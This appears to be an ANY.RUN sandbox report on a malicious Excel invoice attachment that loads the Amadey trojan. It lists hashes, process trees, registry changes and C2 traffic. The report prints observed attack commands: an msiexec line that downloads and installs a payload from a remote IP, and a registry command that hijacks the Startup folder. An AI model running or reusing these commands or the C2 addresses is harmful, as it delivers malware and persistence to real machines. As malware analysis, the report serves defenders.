Malware analysis 281D958D_Factura_FMC8613_20190424.xls Malicious activity

Add for printing

File name:	281D958D_Factura_FMC8613_20190424.xls
Full analysis:	https://app.any.run/tasks/cf802bfb-93e2-4a22-a08a-81ac40bb8e9c
Verdict:	Malicious activity
Threats:	Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks. A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	April 25, 2019, 13:49:02
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open loader exe-to-msi trojan amadey ta505
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Wed Apr 24 15:31:30 2019, Security: 0
MD5:	5881373811FCCA6E422385F317145916
SHA1:	9F4FCF622FE01AD21F89F81A735EA9137A7537E7
SHA256:	C45C0DD7171D9618F95323E5EF06A5E0C89F363A9C14680CB4B4AE9DB363700C
SSDEEP:	3072:+Kpb8rGYrMPelwhKmFV5xtezEsgrdgaeEQSNfzAKAn8CsENt:+Kpb8rGYrMPelwhKmFV5xtuEsgrdgaHs

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

Add for printing

MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 1296)
- Uses Microsoft Installer as loader
  - EXCEL.EXE (PID: 1296)
- Changes the Startup folder
  - REG.exe (PID: 2732)
- Application was dropped or rewritten from another process
  - cmualrc.exe (PID: 3664)
- Downloads executable files from the Internet
  - msiexec.exe (PID: 948)
- Downloads executable files from IP
  - msiexec.exe (PID: 948)
- Connects to CnC server
  - cmualrc.exe (PID: 3664)
- AMADEY was detected
  - cmualrc.exe (PID: 3664)
SUSPICIOUS
- Executable content was dropped or overwritten
  - msiexec.exe (PID: 948)
  - MSI6ADE.tmp (PID: 4072)
- Drop ExeToMSI Application
  - msiexec.exe (PID: 948)
- Starts itself from another location
  - MSI6ADE.tmp (PID: 4072)
- Creates files in the program directory
  - MSI6ADE.tmp (PID: 4072)
- Uses REG.EXE to modify Windows registry
  - cmualrc.exe (PID: 3664)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 1296)
- Writes to a desktop.ini file (may be used to cloak folders)
  - msiexec.exe (PID: 948)
- Starts application with an unusual extension
  - msiexec.exe (PID: 948)
- Application was dropped or rewritten from another process
  - MSI6ADE.tmp (PID: 4072)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.xls	\|	Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author:	Microsoft Office
LastModifiedBy:	1
Software:	Microsoft Excel
CreateDate:	2018:12:19 10:42:12
ModifyDate:	2019:04:24 14:31:30
Security:	None
CodePage:	Windows Cyrillic
Company:	Microsoft Corporation
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	4 OOOO 2 3
HeadingPairs:	Листы 2 Макросы Excel 4.0 2

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

948

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\msiexec.exe

services.exe

User:

SYSTEM

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows® installer

Exit code:

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

1296

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

2504

msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%'

C:\Windows\system32\msiexec.exe

—

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

Version:

5.0.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

2732

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\f64a428dfd

C:\Windows\system32\REG.exe

cmualrc.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Registry Console Tool

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\reg.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3664

c:\programdata\f64a428dfd\cmualrc.exe

MSI6ADE.tmp

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\programdata\f64a428dfd\cmualrc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

4072

"C:\Windows\Installer\MSI6ADE.tmp"

C:\Windows\Installer\MSI6ADE.tmp

msiexec.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\windows\installer\msi6ade.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

Add for printing

Total events

716

Read events

653

Write events

Delete events

Modification events


(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	s)3
Value: 7329330010050000010000000000000000000000
(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 10050000DA1E08B06DFBD40100000000
(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	s)3
Value: 7329330010050000010000000000000000000000
(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(1296) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\E606C
Operation:	write	Name:	E606C
Value: 04000000100500004700000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00320038003100440039003500380044005F0046006100630074007500720061005F0046004D00430038003600310033005F00320030003100390030003400320034002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00010000000000000030FCB9B16DFBD4016C600E006C600E0000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
1296	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR59F3.tmp.cvr		—
		MD5:—	SHA256:—
948	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DF0A55CF95CE45BCDA.TMP		—
		MD5:—	SHA256:—
4072	MSI6ADE.tmp	C:\ProgramData\0		—
		MD5:—	SHA256:—
4072	MSI6ADE.tmp	C:\programdata\f64a428dfd\cmualrc.exe:Zone.Identifier		—
		MD5:—	SHA256:—
948	msiexec.exe	C:\Config.Msi\e687c.rbs		—
		MD5:—	SHA256:—
3664	cmualrc.exe	C:\ProgramData\0		—
		MD5:—	SHA256:—
948	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DFD3CAE4259C7334F3.TMP		—
		MD5:—	SHA256:—
948	msiexec.exe	C:\Windows\Installer\MSI656C.tmp		executable
		MD5:—	SHA256:—
948	msiexec.exe	C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat		dat
		MD5:—	SHA256:—
948	msiexec.exe	C:\Windows\Installer\e687b.ipi		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
948	msiexec.exe	GET	200	109.234.38.177:80	http://109.234.38.177/dom4	RU	executable	172 Kb	suspicious
3664	cmualrc.exe	POST	200	203.91.116.53:80	http://gohaiendo.com/ppk/index.php	MN	text	6 b	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
948	msiexec.exe	109.234.38.177:80	—	Webzilla B.V.	RU	suspicious
3664	cmualrc.exe	203.91.116.53:80	gohaiendo.com	G-Mobile Corporation	MN	malicious

DNS requests

Domain	IP	Reputation
gohaiendo.com	203.91.116.53 82.208.161.228 190.158.226.15 178.169.222.191 2.185.239.164 212.98.131.181 89.121.244.210 78.90.243.124 80.80.165.93 109.199.157.158	malicious

Threats

PID	Process	Class	Message
948	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
948	msiexec.exe	Potential Corporate Privacy Violation	POLICY [PTsecurity] Executable application_x-msi Download
3664	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey
3664	cmualrc.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Win32.Amadey

2 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

281D958D_Factura_FMC8613_20190424.xls

5881373811FCCA6E422385F317145916

9F4FCF622FE01AD21F89F81A735EA9137A7537E7

C45C0DD7171D9618F95323E5EF06A5E0C89F363A9C14680CB4B4AE9DB363700C

3072:+Kpb8rGYrMPelwhKmFV5xtezEsgrdgaeEQSNfzAKAn8CsENt:+Kpb8rGYrMPelwhKmFV5xtuEsgrdgaHs

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Uses Microsoft Installer as loader

Changes the Startup folder

Application was dropped or rewritten from another process

Downloads executable files from the Internet

Downloads executable files from IP

Connects to CnC server

AMADEY was detected

SUSPICIOUS

Executable content was dropped or overwritten

Drop ExeToMSI Application

Starts itself from another location

Creates files in the program directory

Uses REG.EXE to modify Windows registry

INFO

Reads Microsoft Office registry keys

Writes to a desktop.ini file (may be used to cloak folders)

Starts application with an unusual extension

Application was dropped or rewritten from another process

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings